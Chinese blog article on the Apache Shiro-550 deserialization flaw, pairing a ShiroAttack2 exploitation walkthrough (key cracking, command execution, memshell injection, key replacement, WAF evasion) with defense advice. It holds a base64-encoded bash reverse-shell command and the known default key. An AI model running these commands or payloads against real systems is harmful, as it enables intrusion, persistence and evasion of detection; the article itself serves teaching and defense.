当前位置: 首页 > news >正文

Apache Shiro反序列化漏洞实战:从原理到利用与防御

1. 项目概述

最近在整理渗透测试的实战笔记,翻到了不少关于Apache Shiro框架反序列化漏洞的利用记录。这个漏洞,业内常说的Shiro-550,从2016年被披露至今,依然能在很多企业的资产里看到它的身影,生命力之顽强,让人不得不感慨。很多刚入行的朋友可能会觉得,一个快十年的老洞,应该早就被修复干净了吧?但现实情况是,由于历史遗留的默认密钥、复杂的密钥更换流程以及极低的利用门槛,它依然是红队评估和授权渗透测试中的“常客”。今天,我就结合自己多次在授权测试中的实战经历,来详细拆解一下Shiro漏洞的利用思路、核心工具链以及那些容易踩坑的细节。这篇文章不是教你如何攻击,而是作为一个防御者和安全研究者的视角,去理解攻击链条,从而更好地进行防护。无论你是安全工程师、开发人员还是对Web安全感兴趣的朋友,都能从中了解到这个经典漏洞的“前世今生”和攻防要点。

2. Shiro-550漏洞原理深度剖析

2.1 漏洞的根源:RememberMe功能的“阿喀琉斯之踵”

Apache Shiro是一个强大且易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。其“记住我”(RememberMe)功能本是为了提升用户体验,允许用户在关闭浏览器后再次访问时无需重新登录。然而,正是这个便利的功能,埋下了严重的安全隐患。

漏洞的核心在于CookieRememberMeManager这个类对RememberMe Cookie的处理流程。当用户勾选“记住我”并成功登录后,Shiro会将用户的身份信息(Principal)序列化,然后使用AES算法进行加密,最后将密文进行Base64编码,设置为一个名为rememberMe的Cookie发送给浏览器。当用户再次访问时,浏览器会携带这个Cookie,Shiro服务端会对其进行解密、反序列化,从而重建用户会话,实现自动登录。

问题出在以下几个环节的叠加:

  1. 硬编码的默认密钥:在Shiro 1.2.4及更早的版本中,用于AES加密解密的密钥是硬编码在源码里的:kPH+bIxk5D2deZiIxcaaaA==。这意味着,任何使用这些版本且未主动修改密钥的应用,都使用着全世界攻击者都知道的“万能钥匙”。
  2. 加密模式与Padding:Shiro使用了AES-CBC加密模式,并采用了PKCS5Padding。CBC模式本身需要初始化向量(IV),但Shiro在加密时,IV是随机生成的,并和密文一起序列化。这本身不是问题,问题在于反序列化的逻辑。
  3. 脆弱的异常处理流程:服务端在解密Cookie时,会先Base64解码,然后用AES解密,最后进行Java反序列化。关键在于,无论解密失败(密钥错误)还是反序列化失败(数据被篡改或密钥错误导致解密出的数据乱码),Shiro 1.x版本都会返回一个Set-Cookie: rememberMe=deleteMe的响应头,指示浏览器删除这个无效的Cookie。这个行为成为了漏洞检测和密钥爆破的“指示灯”。

攻击者正是利用了这一点:先发送一个恶意的RememberMe Cookie,如果服务端返回deleteMe,则说明目标使用了Shiro框架(因为其他框架通常不会对这个特定Cookie名有如此反应)。接着,攻击者可以系统地尝试密钥字典。当尝试到正确的密钥时,解密过程会成功(至少能通过AES解密,即使反序列化可能因数据格式不对而失败),服务端便不会返回deleteMe响应头。通过这种“有”或“无”的差异,攻击者就能判定密钥是否正确。

实操心得:很多自动化工具有时会误报,因为一些WAF或中间件也可能拦截请求并返回类似deleteMe的指令。最可靠的判断方法是结合响应码和响应体长度。一个典型的Shiro“指纹”是:发送一个无效的rememberMe=1,如果返回200状态码且带有deleteMe的Set-Cookie头,基本可以确定是Shiro。如果返回403/500等,则需要进一步分析。

2.2 从密钥到命令执行:反序列化Gadget链的利用

拿到AES密钥只是第一步,如同拿到了一把锁的钥匙。接下来,攻击者需要构造一个能打开“保险箱”(执行系统命令)的“工具”(Gadget链)。

Java反序列化漏洞的本质是:程序在反序列化不可信的数据时,会调用该数据所代表的对象的readObject方法。如果攻击者能够精心构造一条链式调用(Gadget Chain),让readObject方法最终执行到诸如Runtime.exec()这样的危险方法,就能实现远程代码执行(RCE)。

在Shiro的上下文中,攻击流程如下:

  1. 构造Payload:攻击者选取一个合适的Gadget链(例如基于CommonsBeanutilsCommonsCollections库的链),将想要执行的命令(如/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i},这是一个编码后的反弹Shell命令)作为最终触发点的一部分,封装进Payload对象。
  2. 序列化与加密:将这个恶意Payload对象进行Java序列化,得到字节数组。然后使用之前爆破得到的正确AES密钥,对这个字节数组进行加密和Base64编码,生成最终的rememberMeCookie值。
  3. 发送请求:将构造好的Cookie附在HTTP请求中发送给目标。
  4. 触发漏洞:目标Shiro服务端接收到Cookie,使用相同的密钥解密,然后对解密后的字节流进行反序列化。反序列化过程会沿着Gadget链执行,最终触发命令执行。

这里有一个关键点:Shiro在反序列化时,默认使用ObjectInputStream,并且没有对反序列化的类做任何白名单限制。这意味着任何存在于目标应用ClassPath中的、可利用的Gadget链类都可以被加载和使用。

注意事项:Gadget链的利用高度依赖目标服务器的ClassPath。如果目标应用没有引入commons-collectionscommons-beanutils等常见的有漏洞版本的库,那么很多公开的Gadget链就会失效。这也是为什么高级的利用工具(如ShiroAttack2)会集成多种链并尝试自动探测的原因。在实际测试中,遇到“有密钥但打不通”的情况,十有八九是Gadget链不匹配。

3. 实战利用工具链解析与操作

3.1 工具选型:为什么是ShiroAttack2?

市面上Shiro漏洞利用工具很多,从早期的ShiroExploit、ShiroScan,到现在的ShiroAttack2、ShiroRCE等。经过多次实战对比,我倾向于使用ShiroAttack2。原因如下:

  1. 功能全面且更新活跃:它不仅支持经典的密钥爆破和命令执行,还集成了内存马注入、密钥替换等高级利用方式,并且对Shiro 1.2.5之后引入的AES-GCM加密模式也有良好支持。
  2. 双模式支持:提供GUI图形界面和CLI命令行界面。GUI适合单点目标的手动测试和可视化操作;CLI模式则可以无缝集成到自动化扫描脚本或C2平台中,非常适合批量测试和红队作战。
  3. 自动化程度高:具备自动探测Shiro版本、自动切换AES加密模式(CBC/GCM)、自动尝试多种Gadget链等功能,大大降低了手动测试的复杂度。
  4. 结构化输出:CLI模式支持--json参数,输出格式化的JSON数据,便于其他程序(如扫描器、AI Agent)解析结果,实现了很好的工具链集成性。

当然,工具只是辅助,理解其背后的原理和流程才是关键。下面我将以ShiroAttack2的CLI模式为例,拆解一次完整的攻击流程。

3.2 环境准备与工具部署

首先,你需要一个授权测试的目标。对于学习和研究,强烈建议在本地搭建漏洞靶场,例如使用vulfocus靶场镜像,里面就有现成的Shiro漏洞环境。

步骤1:获取工具前往ShiroAttack2的GitHub Release页面,下载最新版本的JAR文件。通常会有两个版本,一个对应JDK 8,一个对应JDK 11+,根据你的Java环境选择。我一般直接下载shiro_attack-<version>-jdk8.jar,因为兼容性最好。

步骤2:准备字典文件工具的运行依赖data/shiro_keys.txt这个密钥字典文件。如果下载的是bundle包,里面已经包含。如果只下载了JAR,需要手动创建data目录,并从项目仓库中复制shiro_keys.txt文件进去。这个文件包含了常见的Shiro默认密钥和弱密钥,是爆破成功的基础。

步骤3:运行结构最终你的工作目录应该类似这样:

. ├── shiro_attack-5.1.1-jdk8.jar └── data/ └── shiro_keys.txt

如果需要使用某些特定版本的Gadget链(比如针对不同版本的commons-beanutils),可能还需要libs目录下的依赖JAR,但工具内置了一些常见链,对于基础测试通常够用。

3.3 分步实操:从探测到GetShell

假设我们的测试目标是:http://192.168.1.100:8080

阶段一:探测(Detect)探测的目的是确认目标是否使用了Shiro框架。

java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI detect --url http://192.168.1.100:8080

这个命令会向目标发送一个特殊的探测请求。工具内部会发送一个无效的rememberMeCookie,并检查响应头中是否包含Set-Cookie: rememberMe=deleteMe。如果包含,则判断为Shiro框架,并会尝试获取一些其他信息,如是否使用JSESSIONID、可能的Shiro版本提示等。

常见问题:如果目标部署在反向代理(如Nginx)后面,或者配置了全局的Cookie处理规则,可能会干扰探测结果。此时可以尝试添加--header参数附加一些头部,或使用--proxy参数设置代理进行流量观察。

阶段二:爆破密钥(Crack)确认是Shiro后,下一步就是爆破其AES密钥。

java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI crack --url http://192.168.1.100:8080

工具会加载data/shiro_keys.txt中的密钥列表,依次尝试。它采用了一种高效的方式:构造一个简单的序列化对象(如SimplePrincipalCollection),用每个密钥加密后发送。如果服务端没有返回deleteMe,则认为该密钥有效。

爆破过程可能会看到如下输出:

[*] Start crack shiro key... [*] Target URL: http://192.168.1.100:8080 [*] Load 124 keys from data/shiro_keys.txt [+] Try key[23]: kPH+bIxk5D2deZiIxcaaaA== ... No deleteMe! [+] Found key: kPH+bIxk5D2deZiIxcaaaA== (AES-CBC Mode)

这里非常重要:工具会自动检测并显示加密模式是AES-CBC还是AES-GCM。Shiro 1.2.5及以上版本默认使用了GCM模式,其利用方式与CBC略有不同。ShiroAttack2会自动进行两种模式的尝试。

阶段三:执行命令(Exec)拿到密钥后,就可以尝试命令执行了。这是最激动人心也最需要谨慎的一步。

java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI exec --url http://192.168.1.100:8080 --key kPH+bIxk5D2deZiIxcaaaA== --gadget CB --command "whoami"

参数解释:

  • --key: 上一步爆破得到的密钥。
  • --gadget: 指定Gadget链类型。CB代表CommonsBeanutils链,这是最常用的一种。工具也支持其他如CC(CommonsCollections)等。如果不指定,工具会尝试自动探测。
  • --command: 要执行的系统命令。

如果一切顺利,你会看到命令的执行结果输出。例如,返回roottomcat等。

踩坑实录

  1. “有密钥,但执行命令没回显”:这是最常见的问题。首先,检查命令本身是否能在目标系统执行(比如Windows和Linux命令不同)。其次,可能是Gadget链不兼容。尝试更换--gadget参数,比如换成CC链,或者使用--gadget all让工具自动遍历所有可用链。
  2. “工具显示成功,但实际没执行”:可能是目标环境有安全软件(如HIDS)拦截了进程创建,或者Java安全管理器(SecurityManager)限制了命令执行。此时可以尝试无回显的利用方式,如DNSLog外带数据,或者转向内存马注入。
  3. 编码问题:如果命令中包含特殊字符(如空格、引号、管道符|),在命令行中需要妥善处理。最好先用Base64或URL编码一下命令,或者在工具中寻找对应的编码选项。

阶段四:注入内存马(Memshell)在实战中,直接执行命令可能不稳定(每次都要重新生成Payload),且容易被拦截。注入内存马是更持久、更隐蔽的方式。内存马是运行在服务器内存中的Webshell,不落盘,重启即失效,但难以被传统文件扫描检测。

java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI memshell --url http://192.168.1.100:8080 --key kPH+bIxk5D2deZiIxcaaaA== --type filter --path /shell --password summer

参数解释:

  • --type: 内存马类型。filter表示注入一个Filter型内存马,这是最通用的类型。还有servletinterceptor等,取决于目标Web容器和框架。
  • --path: 内存马的访问路径。这里设置为/shell,意味着之后可以通过http://192.168.1.100:8080/shell来访问这个内存马。
  • --password: 连接密码。连接时需要使用此密码进行认证,增加一点安全性(防止被其他人偶然访问)。

注入成功后,你就可以使用蚁剑、冰蝎或哥斯拉等Webshell管理工具,选择对应的内存马类型和密码,连接这个路径,获得一个交互式的Webshell。

高级技巧--type的选择有讲究。如果目标是Spring Boot应用,interceptorcontroller类型可能成功率更高。ShiroAttack2在注入时会尝试多种路径,并自动验证是否注入成功。查看工具的详细输出,可以知道它具体注入了哪个类、哪个方法,这对于后续的排查和清理很有帮助。

阶段五:密钥替换(ChangeKey)这是一个“釜底抽薪”的后续攻击手段。在已经获得一定权限(如通过内存马)后,攻击者可以将目标Shiro应用的AES密钥替换成自己已知的密钥。这样,即使原管理员发现了漏洞并修改了代码中的密钥,攻击者依然可以用自己的新密钥构造Cookie,保持权限的持久化。

java -cp shiro_attack-5.1.1-jdk8.jar com.summersec.attack.CLI.MainCLI changekey --url http://192.168.1.100:8080 --oldkey kPH+bIxk5D2deZiIxcaaaA== --newkey 2AvVhdsgUs0FSA3SDFAdag==

这个功能利用了Shiro在内存中管理密钥的特性,通过反射修改运行时的密钥值。此操作风险极高,会直接影响应用正常用户的“记住我”功能,仅在深度渗透测试且有明确授权时考虑。

4. 绕过防御与高级利用场景

4.1 应对WAF与流量检测

随着Shiro漏洞的普及,越来越多的WAF(Web应用防火墙)和IDS/IPS开始检测特征明显的Shiro攻击流量。常见的检测点包括:

  • Cookie名称rememberMe这个键名。
  • Cookie值长度与特征:Base64编码后的AES密文有固定长度特征,且可能包含某些Gadget链的类名特征。
  • 请求频率:短时间内大量尝试不同密钥的爆破行为。

绕过思路:

  1. 修改Cookie名:一些WAF规则只检测rememberMe。可以尝试通过其他参数传递Payload,比如利用Shiro可能从headerparameter中读取rememberMe值的特性(取决于配置)。但大多数情况下,Cookie是唯一入口。
  2. 流量编码与分割:对Payload进行多次Base64编码、URL编码,或者将Payload分割到多个Cookie或POST参数中,在服务端拼接。ShiroAttack2的BypassWaf模块提供了一些编码选项。
  3. 使用冷门Gadget链:避免使用CommonsBeanutilsCommonsCollections这些被广泛检测的链。研究并利用其他第三方库的Gadget链,如romehibernatespring-core等。这需要攻击者对目标应用的依赖库有深入了解。
  4. 降低请求频率:在爆破密钥时,使用延时参数,模拟正常用户访问速度。
  5. 利用HTTPS代理:将所有攻击流量通过一个加密的HTTPS代理发出,可以绕过一些基于明文流量特征检测的IDS。

4.2 无通用Gadget链的场景利用

在实战中,最头疼的情况是:成功爆破了密钥,但目标应用的ClassPath里没有任何已知的、可用的通用Gadget链库(如commons-collections, commons-beanutils)。这时候怎么办?

  1. 寻找应用自身的可利用类:这是最高级的手法。需要分析目标应用自己引入的JAR包,寻找其中实现了Serializable接口、并且其readObjectgetter/setter等方法中存在“危险操作”(如JNDI查找、反射调用、类加载、文件写入等)的类,手工构造一条Gadget链。这需要深厚的Java安全和代码审计功底。
  2. 利用JDK原生链:从JDK 7u21、8u20开始,也存在一些原生的Gadget链,如基于javax.management.BadAttributeValueExpExceptioncom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的链。这些链不依赖第三方库,但利用条件可能更苛刻。
  3. 转向其他攻击面:如果RCE实在无法实现,可以考虑利用反序列化进行其他操作,比如:
    • 文件写入:如果找到可以写文件的Gadget,也许能写入一个JSP Webshell。
    • SSRF:利用可以发起网络请求的Gadget,探测内网服务。
    • DoS:构造导致无限循环或大量内存消耗的反序列化对象,造成拒绝服务。

4.3 针对Shiro 1.2.5+ (AES-GCM) 的利用

Shiro 1.2.5版本将默认的加密模式从AES-CBC切换到了更安全的AES-GCM。GCM模式提供了加密和完整性认证,理论上能防止Padding Oracle攻击,而Shiro-550的原始利用正是基于CBC模式的Padding Oracle特性。

然而,这并没有完全封堵漏洞。如果攻击者通过其他方式(如代码泄露、配置文件泄露)拿到了AES-GCM的密钥,他依然可以构造有效的加密Payload进行攻击。ShiroAttack2工具也支持GCM模式,其利用流程与CBC模式在“拥有密钥后”的步骤是一致的。区别在于加密和解密的算法细节。工具会自动识别和切换模式,对使用者来说是透明的。

关键点在于:GCM模式只是提高了密钥爆破的难度(因为没有deleteMe这种明显的Oracle了),但并没有改变“使用固定密钥加密用户可控的反序列化数据”这一根本脆弱点。只要密钥泄露,风险依旧存在。

5. 防御建议与排查指南

说了这么多攻击层面的事情,最终目的还是为了防御。作为防御方,应该怎么做?

5.1 针对开发与运维的加固措施

  1. 立即升级Shiro版本:升级到最新版本(至少1.7.0以上),新版Shiro在安全机制上有多处增强。
  2. 必须更换默认密钥:这是最重要、最直接的一步。在Shiro配置文件中(通常是shiro.ini或Spring配置中的ShiroFilter),显式地配置一个强随机密钥。
    # shiro.ini 示例 securityManager.rememberMeManager.cipherKey = base64:${your_strong_random_base64_key_here}
    生成强密钥的命令:openssl rand -base64 32
  3. 禁用RememberMe功能:如果业务不需要“记住我”功能,直接在配置中禁用它。
  4. 使用安全的反序列化器:考虑使用白名单机制的反序列化工具,如SerialKillerJackson@JsonTypeInfo注解配合多态类型处理,或者直接使用JSON等更安全的序列化格式替代Java原生序列化。
  5. 最小化依赖:定期清理项目依赖,移除不必要的库,特别是那些已知存在反序列化Gadget的库(如旧版本的commons-collections, commons-beanutils等)。

5.2 安全监控与应急响应

  1. 日志监控:在应用日志中监控异常的反序列化错误堆栈。Shiro在解密或反序列化失败时会记录日志。大量、频繁的DecryptionExceptionSerializationException可能是爆破攻击的迹象。
  2. 流量监控:在WAF或网关层面,设置规则检测对/根路径或登录接口的、携带超长rememberMeCookie的请求,并告警。
  3. 主机监控:使用HIDS监控Java进程突然创建陌生子进程(如bashcmdpowershell)的行为。
  4. 应急排查
    • 检查密钥:检查线上配置文件中的Shiro密钥是否为默认或弱密钥。
    • 排查内存马:使用Java Agent技术或Arthas等诊断工具,动态检查已加载的类,特别是FilterServletController中是否存在可疑的、名称异常的类。也可以重启应用服务器,内存马会随之消失,但这只是临时措施。
    • 检查后门文件:排查Web目录下是否有新增的、可疑的.jsp.jspx.war文件。
    • 分析访问日志:寻找访问路径异常(如突然访问一个不存在的/shell/cmd路径)或User-Agent异常的请求。

Shiro-550漏洞的持久存在,是默认安全配置、密钥管理难题和低利用成本共同作用的结果。对于攻击者,它是一个经典的入口点;对于防御者,它是一个必须堵上的缺口。理解整个利用链条的每一个环节,从默认密钥到Gadget链,从命令执行到内存马,才能真正做到有效防护。安全是一个持续的过程,没有一劳永逸的解决方案,保持组件的更新、遵循安全开发规范、建立有效的监控响应体系,才是应对此类漏洞的根本之道。

http://www.gsyq.cn/news/1626557.html

相关文章:

  • ACE-Step本地AI音乐生成:轻量扩散模型实现一键文本转音乐
  • 【限时解锁】GPTs高级权限开通教程:如何用企业邮箱+SSO凭证抢占首批GPTs商业发布通道?
  • ExifToolGui终极指南:免费图形化元数据管理工具快速上手
  • 3个技巧解锁Anno 1800模组加载器:如何实现零冲突游戏定制
  • 软考信息系统项目管理师机考时间分配公式:T=(Q×0.85)−R+P,20年命题组内部参数首次公开
  • 软考案例分析“秒杀式”答题法:用1个通用模型覆盖信息系统项目管理师/系统架构设计师/系统分析师全部题型?
  • 淘宝新店搜不到店铺的8大原因及解决方案
  • 3步彻底卸载Microsoft Edge:EdgeRemover新手完全指南
  • 软考机考环境适配终极指南:显示器分辨率、浏览器版本、输入法兼容性(附工信部认证检测清单)
  • 易信外汇:外汇服务场景中的风险教育与可靠感
  • 如何快速获取主流网盘真实下载地址:免费直链解析工具指南
  • 如何用开源工具优雅地获取八大网盘真实下载地址?
  • 告别网盘下载龟速:LinkSwift直链下载助手全方位解析
  • Qwen3.6-27B-AWQ 16 路统一 Docker vLLM 集群部署报告
  • 案例分析题如何抢回8分钟?,架构师级时间拆解模板+键盘快捷键提速清单,仅限考前72小时释放
  • 计算机Java毕设实战-基于 SpringBoot 的斯诺克场馆预约购票服务系统的设计与实现 基于 SpringBoot 的球馆时段预订与购票结【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • 软考5大方向难度与通过率全对比:2024最新数据曝光,选错科目=多花1年时间?
  • 锐捷ACL单向TCP互通组网-通过Established状态回包实现
  • 搞砸了之后,谁允许你继续站在灶台边?
  • 告别网盘限速:8大主流网盘一键获取直链下载地址的完整指南
  • Gemini CLI实战指南:让Gemini 3成为可编程的工作流组件
  • 环境科学论文降AI工具免费推荐:2026年环境科学毕业论文AIGC超标4.8元一次过知网完整指南
  • 炉石传说脚本终极指南:5分钟解放双手的自动化神器
  • 本地搜索神器,秒出结果
  • 影刀RPA新手教程:钉钉机器人消息推送完全指南——内部群通知、Webhook配置与消息格式
  • 一站式KMS激活解决方案:告别Windows和Office激活烦恼的终极指南
  • 太流批了,报价系统,比付费好用
  • AI数字人平台哪个好用?从上手难度到内容效率的一次完整梳理(2026)
  • Supershell实战:构建跨平台全交互式C2与反弹Shell平台
  • YOLOv8为何仍是目标检测首选?从核心原理到实战部署全解析